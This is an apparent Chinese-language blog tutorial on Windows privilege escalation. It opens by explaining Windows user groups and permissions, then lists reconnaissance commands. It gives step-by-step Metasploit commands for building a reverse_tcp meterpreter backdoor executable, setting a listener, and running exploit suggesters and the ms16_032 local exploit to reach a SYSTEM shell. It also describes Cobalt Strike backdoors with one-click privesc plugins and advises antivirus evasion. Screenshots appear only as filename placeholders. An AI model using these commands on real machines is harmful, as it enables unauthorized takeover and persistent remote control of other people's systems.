Windows权限提升-WIN 全平台

Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一些权限(permissions),它们具有管理本地计算机或访问本地资源的权限。只要用户账户加入到这些本地组内,这回用户账户也将具备该组所拥有的权限。

普通权限

默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,管理员组(Administrators)、高权限用户组(PowerUsers)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制(Replicator)、来宾用户组(Guests),身份验证用户组(Ahthenticated users)其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。

管理员组拥有大部分的计算机操作权限(并不是全部),能够随意修改删除所有文件和修改系统设置只有程序信任组(特殊权限)。再往下就是高权限用户组,这一部分用户也能做大部分事情,但是不能修改系统设置,不能运行一些涉及系统管理的程序。普通用户组则被系统拴在了自己的地盘里,不能处理其他用户的文件和运行涉及管理的程序等。来宾用户组的文件操作权限和普通用户组一样,但是无法执行更多的程序。身份验证用户组(Ahthenticated users)经过ms验证程序登录的用户均属于此组。

特殊权限

除了上面提到的7个默认权限分组,系统还存在一些特殊权限成员,这些成员是为了特殊用途而设置,分别是:SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、CREATOR OWNER(创建者)等,这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。

真正拥有“完全访问权”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。

“所有人”权限与普通用户组权限差不多,它的存在是为了让用户能访问被标记为“公有”的文件,这也是一些程序正常运行需要的访问权限--任何人都能正常访问被赋予“Everyone”权限的文件,包括来宾组成员。

被标记为“创建者”权限的文件只有建立文件的那个用户才能访问,做到了一定程度的隐私保护。

但是,所有的文件访问权限均可以被管理员组用户和SYSTEM成员忽略,除非用户使用了NTFS加密。

无论是普通权限还是特殊权限,它们都可以“叠加"使用,“叠加”"就是指多个权限共同使用,例如一个账户原本属于Users组,而后我们把他加入Administrators组在加入Trustedinstaller等权限提升,那么现在这个账户便同时拥有两个或多个权限身份,而不是用管理员权限去覆盖原来身份。权限叠加并不是没有意义的,在一些需要特定身份访问的场合,用户只有为自己设置了指定的身份才能访问,这个时候“叠加”的使用就能减轻一部分劳动量了。

需要我们了解的权限如下

后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等

常见权限获取方法简要归类

后台权限:SQL 注入,数据库备份泄露,默认或弱口令等获取帐号密码进入。

网站权限:后台提升至网站权限,RCE 或文件操作类、反序列化等漏洞直达 Shell。

数据库权限:SQL 注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入。

接口权限:SQL 注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入。

系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等。

域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等。

信息收集命令

systeminfo 打印系统信息

tasklist /svc 显示本地当前正在运行的进程列表,显示每个进程中主持的服务。

whoami 获得当前用户名

whoami /priv 当前帐户权限

ipconfig 网络配置信息

ipconfig /displaydns 显示DNS缓存

route print 打印出路由表

arp -a 打印arp表

hostname 主机名

net user 列出用户

net user UserName 关于用户的信息

net use \SMBPATH Pa$$wOrd /u:UserName 连接SMB

net localgroup 列出所有组

net localgroup GROUp 关于指定组的信息

......

MSF 自动化提权

MSF 生成后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=监听端ip lport=8888 -f exe -o shell.exe

image-20240331022120007

在MSF端创建监听,将后门上传到windows系统下,并执行,msf端收到shell

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
exploit

image-20240331022950557

将后门传入到window系统下,开始执行

image-20240331022629816

msf收到回弹shell,getuid查看为普通权限,先挂起,执行background

image-20240331022714760

image-20240331023109720

EXP模块筛选

use post/windows/gather/enum_patches
set session 1
exploit

此模块半自动化,根据漏洞编号找到系统中安装的补丁

命令操作如图所示:

image-20240331023244012

配合手工的方式进行提权,根据所提供的补丁进行漏洞利用,进行提权。

use post/multi/recon/local_exploit_suggester
set session 1
exploit

此模块全自动化,快速识别系统当中可能被利用的漏洞

image-20240331023448254

此模块注意细节,将showdescription 设置成 true,执行即可,等待结果,选择可利用的模块,进行漏洞利用,即可提权

image-20240331023815720

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
set lhost 0.0.0.0
set lport 6666
exploit

在开启一个msf,创建监听,进行接受提权后的shell

image-20240331024319515

提权成功,拿到系统最高权限system权限shell

image-20240331024504819

image-20240331024607233

如有杀软情况需进行免杀处理,在信息收集阶段可判断有无杀软存在。

windows提权在线平台:

提权辅助网页 Windows提权辅助

将在windows当中执行的systeminfo命令回显结果复制到此即可,不需要远程代码执行选项,取消勾选即可。如下图:

配合手工进行提权

image-20240331020601658

image-20240331021618804

CS 插件化 提权

通过cs生成后门,使用插件进行一键提取,非常简单

首先创建监听器,如图:

image-20240331150752678

然后再攻击选项,选择生成后门,windows可执行程序即可,然后再选择刚刚创建的监听器。

将后门传到windows系统当中,并执行。

image-20240331150950038

cs端成功上线:

image-20240331151030048

使用插件简单一键化提权即可,哪个能用用哪个,首先再会话交互处,将延迟设置成0,命令sleep 0,等待为ms毫秒时,在操作。

image-20240331151212348

利用插件提权即可,插件可在github上进行检索,有很多。

image-20240331152124447

image-20240331151826991

提权成功,拿到最高权限system

image-20240331151952310

同样如果遇到杀软,需要对木马进行免杀处理。

文章不妥之处,欢迎批评指正!